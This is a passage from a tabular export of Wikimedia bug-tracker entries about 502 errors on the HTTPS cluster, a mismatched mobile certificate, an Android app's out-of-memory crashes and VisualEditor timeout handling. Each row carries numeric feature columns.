+Just for the record, the link was https://en.wikipedia.org/w/index.php?title=User_talk%3ARYasmeen_%28WMF%29&diff=586114761&oldid=586070808",,,1387067161,,PHID-USER-yif6nz5uhka5cnltixpc,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,15,True,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,1,0,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,1,1,0,0,1
+241265,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",MZMcBride: Has this happened recently?,,,1385134201,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,12,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0
+241258,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",501 --> 502 <sigh.,,,1380077480,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1
+241248,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","yeah, had a 501 on meta itself (the whole page) twice this evening too. Looking at it through firebug I get multiple 502's from upload as I wander the sites (the best one to test I've found is the meta front page because it has a ton of images but I've seen 3-4 on random enWiki pages too and usually at least 1 if it has any images at all).",,,1380077458,,PHID-USER-f6l3bchko2ogbi4poj24,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,False,,,4,True,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,1,1,1,0,1,0
+241239,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",https://upload.wikimedia.org/wikipedia/mediawiki/9/91/Agora_specs.pdf gave me a 502 Bad Gateway error today.,,,1380075171,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,3,True,,,4,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0
+241233,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",They are repooled now and everything should be working. I'll close this as fixed. Please re-open if it's not.,,,1374563675,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0,1,0,1,1,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+241227,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",I had to depool them due to issues with ipv6. I'll update the ticket when they are repooled.,,,1374539853,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,0,1,0,0,0,0
+241221,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Two new ssl servers were just pooled in eqiad. We'll need to do this in esams eventually as well, but they have newer/better hardware. Please let me know if you're still having this issue.",,,1374538824,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,0,0,0,1,1,1,0,0
+241216,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Created attachment 12925
+Capturing https://ganglia.wikimedia.org/latest/graph.php?r=year&z=xlarge&c=SSL+cluster+eqiad&m=cpu_report&s=by+name&mc=2&g=network_report for reference
+
+**Attached**: {F11395}",,,1374530242,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241210,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS",It looks like traffic through the ssl cluster has doubled in the past month. eqiad hardware is being overloaded. We're adding some more nodes to the cluster.,,,1374525721,,PHID-USER-xs3vxsmgivmm2tuyxsrb,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,1,0,0,1,0,1,0,0,0,0,1,1,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,1,0,0
+241205,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Just got it on https://en.wikipedia.org/wiki/File:%22Modernism%22_oil_painting_by_Fred_Sexton,_circa_1940s.png. As usual, the page refresh fixed it.",,,1374523664,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+241199,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Just got one of these on https://meta.wikimedia.org/wiki/User:MF-Warburg/abuse. Reloading fixed the issue.
+
+The source was basically the same as in comment 1, but no <!-- html comments -->.",,,1374476771,,PHID-USER-v7vgzvvcw7v2umf737ri,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,False,,,-6,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,1
+241194,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","Created attachment 12910
+Screenshot of 502 Bad Gateway error on https://en.wikipedia.org
+
+**Attached**: {F11394}",,,1374429761,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+241187,"Intermittent ""502 Bad Gateway"" errors on Wikimedia wikis via HTTPS","I just got this again at this URL: <https://en.wikipedia.org/w/index.php?title=Special:LinkSearch&limit=250&offset=0&target=http%3A%2F%2Ftoolserver.org%2F~mzmcbride%2Fcgi-bin%2Fwatcher>.
+
+---
+<html>
+<head><title>502 Bad Gateway</title></head>
+<body bgcolor=""white"">
+<center><h1>502 Bad Gateway</h1></center>
+<hr><center>nginx/1.1.19</center>
+</body>
+</html>
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+<!-- a padding to disable MSIE and Chrome friendly error page -->
+---
+
+I'll upload a screenshot momentarily.",,,1374429679,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-gowxiep2taob76ys3p3a,task_subcomment,,True,c2,1,True,,,-6,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,1
+52748,en.mobile.wikipedia.org uses *.wikimedia.org cert,"**Author:** `lcarr`
+
+**Description:**
+https://en.mobile.wikipedia.org/wiki/Main_Page is an example page - 
+It uses the *.wikimedia.org cert.
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: normal
+**URL**: https://en.mobile.wikipedia.org/wiki/Main_Page",Medium,50.0,1372947600,1420740845.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-ktuojnvco4fpzmyhzyaf,False,PHID-TASK-5cjmbb3m3oil32kelayc,task_description,declined,True,c2,1,False,False,False,-8,True,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,0
+396878,en.mobile.wikipedia.org uses *.wikimedia.org cert,I don't think I even knew that was a domain.,,,1420742775,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,3,True,,,71,True,0,0,0,0,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+396858,en.mobile.wikipedia.org uses *.wikimedia.org cert,This is too much work & expensive to fix and for very little benefit (noone uses en.mobile anymore).,,,1420740845,,PHID-USER-ktuojnvco4fpzmyhzyaf,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,3,True,,,71,True,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0
+232754,en.mobile.wikipedia.org uses *.wikimedia.org cert,This feels very dupey..,,,1372951475,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-5cjmbb3m3oil32kelayc,task_subcomment,,True,c2,1,True,,,-8,True,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
+52733,app crashes with out-of-memory error soon after login,"The current Play store version and recent nightlies crash with a Java memory error soon after login.
+
+I've replicated this on three different devices (Android 2.3.7, 4.1.1, and 4.2.2). It will crash, then attempt to start again and almost immediately crash again.
+
+USER_COMMENT=after a minute or so of browsing my feed, app crashed.
+ANDROID_VERSION=4.2.2
+APP_VERSION_NAME=1.0beta9
+BRAND=htc
+PHONE_MODEL=One X
+CUSTOM_DATA=
+STACK_TRACE=java.lang.OutOfMemoryError
+at java.io.ByteArrayOutputStream.toByteArray(ByteArrayOutputStream.java:122)
+at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:215)
+
+
+USER_COMMENT=crashes soon after login
+ANDROID_VERSION=2.3.7
+APP_VERSION_NAME=1.0alpha1
+BRAND=verizon_wwe
+PHONE_MODEL=ADR6300
+CUSTOM_DATA=
+STACK_TRACE=java.lang.OutOfMemoryError
+at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
+at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
+at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
+at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
+at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)
+
+
+USER_COMMENT=
+ANDROID_VERSION=4.1.1
+APP_VERSION_NAME=1.0alpha1
+BRAND=samsung
+PHONE_MODEL=GT-I9100
+CUSTOM_DATA=
+STACK_TRACE=java.lang.OutOfMemoryError
+    at com.android.volley.toolbox.ByteArrayPool.getBuf(ByteArrayPool.java:101)
+    at com.android.volley.toolbox.PoolingByteArrayOutputStream.<init>(PoolingByteArrayOutputStream.java:53)
+    at com.android.volley.toolbox.BasicNetwork.entityToBytes(BasicNetwork.java:202)
+    at com.android.volley.toolbox.BasicNetwork.performRequest(BasicNetwork.java:104)
+    at com.android.volley.NetworkDispatcher.run(NetworkDispatcher.java:105)
+
+--------------------------
+**Version**: unspecified
+**Severity**: major",Medium,50.0,1372935600,1411418142.0,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,False,PHID-TASK-kx3n4wvpurjeadnltoje,task_description,declined,True,c2,1,False,False,False,-8,True,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,1,1,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,1
+231873,app crashes with out-of-memory error soon after login,"As the Mobile Apps Team is focussing on the new, native Wikipedia app, the Commons app is no longer being maintained by the Wikimedia Foundation. I am WONTFIXing all open Commons app bugs to reflect that we will not be spending time fixing them.
+
+For the full story, see this thread on mobile-l: https://lists.wikimedia.org/pipermail/mobile-l/2014-September/thread.html#7974",,,1411418142,,PHID-USER-kve2ug5yc3dp6ighnmqk,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,3,False,,,55,True,1,0,0,1,1,1,0,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,1,1,0,1
+231871,app crashes with out-of-memory error soon after login,"changing status back to New and downgrading to Major, since the patch only affects low-memory devices but some OOM crashes happen even on devices with lots of memory.",,,1377701396,,PHID-USER-nyv6rqxnzdy3oe323a3d,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,3,False,,,0,True,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0
+231868,app crashes with out-of-memory error soon after login,"Change 78358 abandoned by Yuvipanda:
+bug 50733: Fix OOM error on low-memory devices
+
+https://gerrit.wikimedia.org/r/78358",,,1377250229,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231864,app crashes with out-of-memory error soon after login,"Change 80491 merged by Yuvipanda:
+bug 50733: Fix OOM error on low-memory devices
+
+https://gerrit.wikimedia.org/r/80491",,,1377205040,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+231857,app crashes with out-of-memory error soon after login,"Change 80491 had a related patch set uploaded by Yuvipanda:
+bug 50733: Fix OOM error on low-memory devices
+
+https://gerrit.wikimedia.org/r/80491",,,1377205001,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231850,app crashes with out-of-memory error soon after login,"As noted on the github pull req this does make things a little more herky-jerky, so we'll try only disabling the cache on low-memory devices.",,,1376105581,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,True,,,-3,True,0,0,0,0,0,1,0,0,0,0,1,1,0,1,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,1,0,0
+231843,app crashes with out-of-memory error soon after login,"Change 78358 had a related patch set uploaded by SuchABot:
+bug 50733: Fix OOM error on low-memory devices
+
+https://gerrit.wikimedia.org/r/78358",,,1376036189,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,False,,,-3,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+231836,app crashes with out-of-memory error soon after login,"https://github.com/wikimedia/apps-android-commons/pull/42 fixes it on my emulated Nexus One (real one isn't handy right now at Wikimania).
+
+I basically just took out the in-memory bitmap cache. Instead if we pull an image from cache it'll load from Volley's on-disk cache and decode the jpg/png again.
+
+Nexus One has a ridiculously low per-process memory limit (24mb????) so 1/8 of that makes a big difference. (I'm also not 100% sure if the cache size limit was working as intended, the numbers look weird.)
+
+Yuvi, does this seem to trigger any perf issues on devices that do have the ram?",,,1375932378,,PHID-USER-yek7ymogrv4qc67oilhf,False,,,PHID-TASK-kx3n4wvpurjeadnltoje,task_subcomment,,True,c2,2,True,,,-3,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,1,0,1,1,0,0,1,0,0,0,0,1,0,1,1,0,0,1,0,0,0,1,0,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+52475,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Trying to ""Edit"" on http://en.wikipedia.org/wiki/List_of_Advanced_Dungeons_%26_Dragons_2nd_edition_monsters after a minute or so results in a popup ""Error loading data from server: error. Would you like to retry?"". Trying again, repeats the issue
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=39057",Medium,50.0,1372620960,1394672264.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_description,resolved,True,c2,1,False,False,False,-9,True,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,0,0
+241657,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 merged by jenkins-bot:
+More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)
+
+https://gerrit.wikimedia.org/r/118398",,,1394672072,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,False,,,28,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0
+241651,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"Change 118398 had a related patch set uploaded by Alex Monk:
+More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504)
+
+https://gerrit.wikimedia.org/r/118398",,,1394667684,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,False,,,28,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,1,0,0
+241646,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to James Forrester from comment #4)
+> Possibily we could, instead of giving the user the error code, we could have
+> a pop-up saying ""It looks like editor is currently unavailable; would you
+> like to edit in source mode instead?"" with an OK that takes you to
+> action=edit and a cancel that returns you to action=view? Maybe for
+> error-tracking purposes we could add <small>Parsoid returned 504</small> or
+> <small>Parsoid not available</small> after the general call-to-action?
+
+Basically done this after checking with Roan about how to reproduce this error, without the small text underneath. Confirm dialogs don't allow you to use HTML markup.",,,1394667530,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,28,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,1,1,1,0,0,1,1,0,0,0,1,0,0,0,1,0,1,0,1,0,0,1,0,0,1,0,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,1,0,0,1
+241643,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),We'll help. :-),,,1391913718,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0
+241640,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),(resetting assignee - I had issues trying to properly reproduce Parsoid timeouts like this on my machine),,,1391879277,,PHID-USER-x7ti5ksby4ubsabntlxa,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,3,True,,,23,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,1,0,0,0
+241638,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"I'm pulling this from being a blocker to bug 50848, given the reduced impact now that it works on the second try.",,,1373502193,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,True,,,-7,True,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,1,0,1,0,0,0
+241636,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"VE currently sets a 100s timeout, but in practice we often don't get there because the nginx proxies that terminate HTTPS and IPv6 traffic have a 60s timeout.",,,1373482219,,PHID-USER-fovtl67ew4l4cc3oeypc,False,,,PHID-TASK-ttp4fmqdy7axj4tku4zm,task_subcomment,,True,c2,1,False,,,-7,True,0,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+241632,VisualEditor: More gracefully handle situations where Parsoid returns a timeout failure code (HTTP 504),"(In reply to comment #5)
+> Previewing that page also works in about 30 seconds.
+
